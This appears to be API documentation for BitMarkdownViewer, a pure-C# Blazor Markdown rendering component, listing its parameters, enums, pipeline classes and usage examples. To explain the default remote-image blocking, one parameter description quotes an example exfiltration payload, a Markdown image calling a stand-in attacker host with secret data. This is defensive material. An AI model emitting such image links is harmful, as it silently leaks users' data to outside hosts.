# MarkdownViewer **Also known as:** MdViewer, MD ## Description BitMarkdownViewer is a native, SEO friendly Blazor component that renders Markdown to HTML entirely in C#, with no JavaScript interop and no third-party packages. ## Parameters | Name | Type | Default Value | Description | | :--- | :--- | :------------ | :---------- | | Markdown | `string?` | null | The Markdown string value to render as html elements. | | Pipeline | `BitMarkdownPipeline?` | null | The processing pipeline (flavor set). Defaults to the basic CommonMark core with no extensions. Use one of the ready-made pipelines on BitMarkdownPipelines (Basic, GitHub, Advanced) or build a custom one with BitMarkdownPipelineBuilder. | | ImageRendering | `BitMarkdownViewerImageRendering` | BitMarkdownViewerImageRendering.SameOrigin | Controls whether remote images are allowed to load, guarding against silent data-exfiltration via auto-fetched image URLs (for example ![x](https://attacker.com/leak?data=SECRET)). Defaults to the safe SameOrigin policy; set it to All to load every remote image when the source is fully trusted, or None for the strictest policy. | | MaxNestingDepth | `int` | 100 | The maximum block/inline nesting depth allowed while parsing. Content nested deeper than this is rendered as plain text instead of being parsed further. An always-on safeguard against denial-of-service via pathologically nested input (e.g. thousands of nested blockquotes) that would otherwise overflow the stack. Values <= 0 fall back to the default. Legitimate documents never approach this limit. | | MaxLength | `int` | 0 | When greater than zero, the Markdown source is truncated to this many characters before parsing, bounding the work done on untrusted input. Defaults to 0 (no limit). | | StripBidiControlCharacters | `bool` | false | When true, Unicode bidirectional control characters are stripped from the source before parsing, neutralizing 'Trojan Source' (CVE-2021-42574) spoofing where text is made to display in a different order than it is encoded. Recommended for untrusted or AI-generated Markdown. Zero-width joiners used by emoji and complex scripts are never removed. | | AriaLabel | `string?` | null | Gets or sets the accessible label for the component, used by assistive technologies. | | Class | `string?` | null | Gets or sets the CSS class name(s) to apply to the rendered element. | | Dir | `BitDir?` | null | Gets or sets the text directionality for the component's content. | | ForceAnimation | `bool` | false | Gets or sets a value indicating whether the component's animations play at their full duration even when reduced motion is requested. | | HtmlAttributes | `Dictionary<string, object>` | new Dictionary<string, object>() | Captures additional HTML attributes to be applied to the rendered element, in addition to the component's parameters. | | Id | `string?` | null | Gets or sets the unique identifier for the component's root element. | | IsEnabled | `bool` | true | Gets or sets a value indicating whether the component is enabled and can respond to user interaction. | | Style | `string?` | null | Gets or sets the CSS style string to apply to the rendered element. | | TabIndex | `string?` | null | Gets or sets the tab order index for the component when navigating with the keyboard. | | Visibility | `BitVisibility` | BitVisibility.Visible | Gets or sets the visibility state (visible, hidden, or collapsed) of the component. | ## Public Members | Name | Type | Default Value | Description | | :--- | :--- | :------------ | :---------- | | UniqueId | `Guid` | Guid.NewGuid() | Gets the readonly unique identifier for the component's root element, assigned when the component instance is constructed. | | RootElement | `ElementReference` | | Gets the reference to the root HTML element associated with this component. | ## Enums ### BitMarkdownViewerImageRendering Enum | Name | Value | Description | | :--- | :--- | :---------- | | All | 0 | All images are rendered and loaded automatically, including remote ones. Suitable only when the Markdown source is fully trusted. | | SameOrigin | 1 | Only same-origin images (relative paths, anchors and same-document references) are loaded. Remote images (http:, https: and protocol-relative //) are blocked. The recommended mode for untrusted or AI-generated Markdown. | | None | 2 | No image is allowed to load; every image source is stripped and only the alt text remains. The strictest option. | ### BitVisibility Enum | Name | Value | Description | | :--- | :--- | :---------- | | Visible | 0 | The content of the component is visible. | | Hidden | 1 | The content of the component is hidden, but the space it takes on the page remains (visibility:hidden). | | Collapsed | 2 | The component is hidden (display:none). | ### BitDir Enum | Name | Value | Description | | :--- | :--- | :---------- | | Ltr | 0 | Ltr (left to right) is to be used for languages that are written from the left to the right (like English). | | Rtl | 1 | Rtl (right to left) is to be used for languages that are written from the right to the left (like Arabic). | | Auto | 2 | Auto lets the user agent decide. It uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then applies that directionality to the whole element. | ## Sub Classes ### BitMarkdownPipeline Properties An immutable, reusable Markdown processing configuration produced by a BitMarkdownPipelineBuilder. Pipelines are thread-safe and should be cached and shared. Ready-made pipelines are available on BitMarkdownPipelines (Basic, GitHub, Advanced). | Name | Type | Default Value | Description | | :--- | :--- | :------------ | :---------- | | Basic | `static BitMarkdownPipeline` | | A pipeline with only the basic CommonMark core (no flavors). | | Parse | `BitMarkdownDocumentNode Parse(string? markdown)` | | Parses Markdown source into an AST, applying all AST processors. | | CreateRenderer | `BitMarkdownRenderer CreateRenderer()` | | Creates a renderer bound to this pipeline's node renderers. | ### BitMarkdownDocumentNode Properties The root of a parsed Markdown document. Inherits from BitMarkdownNode. | Name | Type | Default Value | Description | | :--- | :--- | :------------ | :---------- | | Children | `List<BitMarkdownNode>` | [] | The top-level child nodes of the document. | | ChildNodes | `IList<BitMarkdownNode>` | | The node's single child collection (returns Children). | ### BitMarkdownNode Properties The abstract base type for every node produced by the parser. Nodes expose their mutable child collections so that AST processors (plugins) can traverse and rewrite the tree generically, even for node types they did not define. | Name | Type | Default Value | Description | | :--- | :--- | :------------ | :---------- | | ChildNodes | `virtual IList<BitMarkdownNode>?` | null | The node's single child collection, if it has exactly one. Container nodes override this; leaf nodes return null. | | ChildLists | `virtual IEnumerable<IList<BitMarkdownNode>>` | | All mutable child collections owned by this node. Defaults to the single ChildNodes collection; nodes with several (e.g. a table's cells) override this to expose each one. | ### BitMarkdownRenderer Properties Walks an AST and dispatches each node to a matching node renderer. Renderers are probed in reverse registration order, so the last renderer registered for a node type wins, allowing pipeline extensions to override the core renderers. | Name | Type | Default Value | Description | | :--- | :--- | :------------ | :---------- | | WriteNodes | `void WriteNodes(RenderTreeBuilder builder, IEnumerable<BitMarkdownNode> nodes)` | | Renders a sequence of nodes. | | WriteNode | `void WriteNode(RenderTreeBuilder builder, BitMarkdownNode node)` | | Renders a single node using the matching renderer (last registered wins). | ## Examples \n**Basic**: ```razor ``` \n**GitHub flavored**: ```razor ``` ```csharp private readonly string gitHubMarkdown = @"# GitHub Flavored Markdown Supports ~~strikethrough~~ and bare links like https://bitplatform.dev ## Task list - [x] Parse Markdown in pure C# - [x] Render the real render tree - [ ] Use any JavaScript ## Table | Feature | Basic | GitHub | |:--------------|:-----:|:------:| | Headings | ✔ | ✔ | | Tables | | ✔ | | Strikethrough | | ✔ | "; ``` \n**Advanced**: ```razor
Flavor: Basic GitHub Advanced Reset sample Clear
@playgroundHint
``` ```csharp private enum MarkdownFlavor { Basic, GitHub, Advanced } private MarkdownFlavor playgroundFlavor = MarkdownFlavor.Advanced; private BitMarkdownPipeline playgroundPipeline = BitMarkdownPipelines.Advanced; private string playgroundMarkdown = SampleMarkdown; // a feature-rich sample document private void SetPlaygroundFlavor(MarkdownFlavor flavor) { playgroundFlavor = flavor; playgroundPipeline = flavor switch { MarkdownFlavor.Basic => BitMarkdownPipelines.Basic, MarkdownFlavor.GitHub => BitMarkdownPipelines.GitHub, _ => BitMarkdownPipelines.Advanced }; } private void ResetPlaygroundSample() => playgroundMarkdown = SampleMarkdown; private string playgroundHint => playgroundFlavor switch { MarkdownFlavor.Basic => "Basic CommonMark only. Tables, strikethrough, task lists, emoji and bare URLs render as plain text.", MarkdownFlavor.GitHub => "GitHub Flavored Markdown: pipe tables, ~~strikethrough~~, task lists and autolink literals.", _ => "Advanced: GitHub Flavored Markdown plus :sparkles: emoji and automatic heading ids." }; private const string SampleMarkdown = "# BitMarkdownViewer\n\nA **native Blazor** Markdown viewer written in _pure C#_ - no JavaScript.\n\n- Headings, **bold**, *italic*, ~~strikethrough~~\n- `inline code` and fenced code blocks\n- [Links](https://bitplatform.dev) and task lists:\n - [x] Parse blocks\n - [ ] Conquer the world\n\n> Switch the Flavor above to compare rendering."; ``` \n**Custom pipeline**: ```razor ``` ```csharp private readonly BitMarkdownPipeline customPipeline = new BitMarkdownPipelineBuilder() .UsePipeTables() .UseStrikethrough() .UseTaskLists() .UseEmojis() .UseAutoIdentifiers() .Build(); private readonly string customMarkdown = @"# Custom pipeline :sparkles: This viewer uses a pipeline composed with only the extensions we picked: pipe tables, strikethrough, task lists, emoji and auto identifiers. - [x] ~~Old~~ approach replaced - [ ] Anything left to do? "; ```